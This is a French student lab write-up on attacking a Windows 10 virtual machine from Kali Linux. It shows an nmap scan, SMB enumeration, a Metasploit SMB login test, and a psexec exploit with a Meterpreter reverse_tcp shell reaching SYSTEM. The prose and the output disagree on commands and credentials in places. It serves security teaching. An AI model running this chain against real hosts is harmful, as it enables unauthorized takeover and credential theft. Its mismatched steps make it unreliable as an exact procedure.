

TP 3.2 : Attaque d'un système Windows et extraction d'identifiants.

Le TP se déroule entre deux environnements la machine d'attaque (**Kali Linux**) et la machine cible (**Windows**).

INTRODUCTION

L'objectif de ce TP est de démontrer qu'une compromission de système ne nécessite pas toujours une vulnérabilité technique complexe. Nous avons ici reproduit un scénario où l'attaquant utilise l'observation du réseau et la faiblesse des politiques de mots de passe pour obtenir un accès total à une machine Windows cible

Étape 1 : Vérification de la connectivité

Avant toute chose nous allons nous rassurer que les deux machines communiquent.

Ip windows 192.168.56.20

Ip kali 192.168.56.30

- **Machine : Kali Linux**

ping 192.168.56.20

```
(BEL-ANGE@kali)-[~]
$ ping 192.168.56.20
PING 192.168.56.20 (192.168.56.20) 56(84) bytes of data.
64 bytes from 192.168.56.20: icmp_seq=1 ttl=128 time=0.850 ms
64 bytes from 192.168.56.20: icmp_seq=2 ttl=128 time=1.85 ms
64 bytes from 192.168.56.20: icmp_seq=3 ttl=128 time=1.21 ms
64 bytes from 192.168.56.20: icmp_seq=4 ttl=128 time=1.39 ms
64 bytes from 192.168.56.20: icmp_seq=5 ttl=128 time=0.852 ms
64 bytes from 192.168.56.20: icmp_seq=6 ttl=128 time=0.952 ms
64 bytes from 192.168.56.20: icmp_seq=7 ttl=128 time=0.505 ms
64 bytes from 192.168.56.20: icmp_seq=8 ttl=128 time=1.24 ms
64 bytes from 192.168.56.20: icmp_seq=9 ttl=128 time=0.480 ms
64 bytes from 192.168.56.20: icmp_seq=10 ttl=128 time=0.505 ms
64 bytes from 192.168.56.20: icmp_seq=11 ttl=128 time=1.40 ms
64 bytes from 192.168.56.20: icmp_seq=12 ttl=128 time=1.05 ms
^C
— 192.168.56.20 ping statistics —
12 packets transmitted, 12 received, 0% packet loss, time 11065ms
rtt min/avg/max/mdev = 0.480/1.024/1.853/0.403 ms
```

Étape 2 : Identification des services (Scan de ports)

Détections si le service de partage de fichiers (SMB) est ouvert. Une fois la connectivité réseau confirmée, l'étape suivante consiste à explorer la machine cible pour découvrir les services actifs. Cette phase de reconnaissance est cruciale pour identifier les vecteurs d'attaque potentiels

- **Machine : Kali Linux**

Un scan de ports a été effectué pour identifier les vecteurs d'entrée :

Commande utiliser **nmap -sS 192.168.56.20**

```
(BEL-ANGE@kali)-[~]  
$ nmap -sS 192.168.56.20  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 12:25 +0200  
Nmap scan report for 192.168.56.20  
Host is up (0.00038s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT      STATE SERVICE  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
MAC Address: 08:00:27:20:4D:85 (Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 6.27 seconds
```

Observation le port 445(SMB) est ouvert. Ce service est souvent utilisé pour partager les fichiers et constitue une surface d'attaque privilégiée.

Étape 3 : Énumération et reconnaissance SMB

Obtenir des informations sur le système et lister les partages sans mot de passe.

- **Machine : Kali Linux**

Identifions la version de l'OS via SMB avec la commande :

nmap -p 445 --script smb-os-discovery 192.168.56.20

```
(BEL-ANGE@kali)-[~]
$ sudo nmap -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 12:22 +0200
Nmap scan report for 192.168.56.20
Host is up (0.00038s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:20:4D:85 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.10 seconds
```

Listons les partages disponibles (accès anonyme)

smbclient -L //192.168.56.20 -N

```
(BEL-ANGE@kali)-[~]
$ smbclient -L //192.168.56.20 -U bel-ange
Password for [WORKGROUP\bel-ange]:

Sharename      Type           Comment
-----
ADMIN$         Disk          Administration à distance
C$             Disk          Partage par défaut
IPC$          IPC           IPC distant
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Étape 4 : Préparation de la cible (Simulation de mot de passe faible)

Cible : Créer manuellement un utilisateur vulnérable pour tester l'attaque.

- **Machine : Windows (PowerShell en tant qu'administrateur)**

PowerShell

net user testuser 2006 /add

```
C:\Windows\system32>net user testuser 2006 /add
La commande s'est terminée correctement.
```

Étape 5 : Test d'authentification avec Metasploit

Vérifier si les identifiants créés permettent une connexion.

- **Machine : Kali Linux**

Msfconsole

```
(BEL-ANGE@kali) [~]
$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

      .:ok000kdc'      'cdk000ko:
      .x0000000000000c  c000000000000x.
      :00000000000000k, ,k0000000000000:
      '00000000kkk00000: :000000000000000'
      o0000000. .o000o000l. ,00000000o
      d0000000. .c00000c. ,00000000x
      l0000000. ;d; ,0000000l
      .00000000. ;i; ,00000000.
      c0000000. .00c. 'o0. ,0000000c
      o0000000. .0000. :0000. ,000000o
      l00000. .0000. :0000. ,00000l
      ;0000' .0000. :0000. ;0000;
      .d00o .0000cccc0000. x00d.
      ,k0l .0000000000000. .d0k,
      :kk; .0000000000000.c0k:
      ;k000000000000000k:
      ,x000000000000x,
      .l0000000l.
      .d0d,
      -

+ -- ==[ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
+ -- ==[ 432 post - 49 encoders - 14 nops - 10 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

Dans Metasploit :

Après avoir identifié le service SMB ouvert sur le port 445, nous utilisons le framework Metasploit pour vérifier si les identifiants sont vulnérable. Cette phase simule une attaque par force brute ou par test de dictionnaire sur un compte connu. Nous avons utilisé les commandes suivantes :

Pour le Chargement du scanner : **use auxiliaire/scanner/smb/smb_login**

Cibler le scan : **set RHOSTS 192.168.56.20**

Pour spécifier l'utilisateur : **set SMBUser bel-ange**

Pour définir le mot de passe : **set SMBPass 2006**

Pour le lancement de l'action : **Run**

```
msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf auxiliary(scanner/smb/smb_login) > set SMBUser bel-ange
SMBUser => bel-ange
msf auxiliary(scanner/smb/smb_login) > set SMBPass 2006
SMBPass => 2006
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.20:445 - 192.168.56.20:445 - Starting SMB login bruteforce
[-] 192.168.56.20:445 - 192.168.56.20:445 - Failed: '.\bel-ange:2006',
[!] 192.168.56.20:445 - No active DB -- Credential data will not be saved!
[*] 192.168.56.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.20:445 - Bruteforce completed, 0 credentials were successful.
[*] 192.168.56.20:445 - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) > █
```

Étape 6 : Compromission réelle (Ouverture d'une session distante)

Prendre le contrôle total de la machine via un shell Meterpreter.

- **Machine : Kali Linux (toujours dans Metasploit)**

Nous avons exécuter les commandes suivantes :

Pour la sélection de l'exploit : **use exploit/windows/smb/psexec**

Pour la configuration de la cible et des accès : **set RHOSTS 192.168.56.20**

set SMBUser testuser

set SMBPass Password123!

Run

```
msf exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set SMBUser bel-ange
SMBUser => bel-ange
msf exploit(windows/smb/psexec) >
msf exploit(windows/smb/psexec) > set SMBPass 2006
SMBPass => 2006
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.0.3.15:4444
[*] 192.168.56.20:445 - Connecting to the server...
```

Une fois la session ouverte, vérifions identité :

Getuid

```
meterpreter > getuid
Server username: AUTORITE NT\Système
meterpreter >
```

sysinfo

```
meterpreter > sysinfo
Computer      : DESKTOP-VAQS1PR
OS            : Windows 10 21H1 (10.0 Build 19043).
Architecture : x64
System Language : fr_FR
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter >
```

Étape 7 : Extraction d'informations (Post-Exploitation)

Récupérer les empreintes (hashes) des mots de passe de tous les utilisateurs.

- **Machine : Kali Linux (dans la session Meterpreter)**

Shell pour ouvrir une invite de commande windows classique

```
meterpreter > shell
Process 1244 created.
Channel 1 created.
Microsoft Windows [version 10.0.19043.928]
(c) Microsoft Corporation. Tous droits réservés.

C:\Windows\system32>
```

Conclusion

Ce TP démontre qu'une hygiène de sécurité défaillante est tout aussi dangereuse qu'une faille logicielle. la visibilité d'un service est la première étape vers sa compromission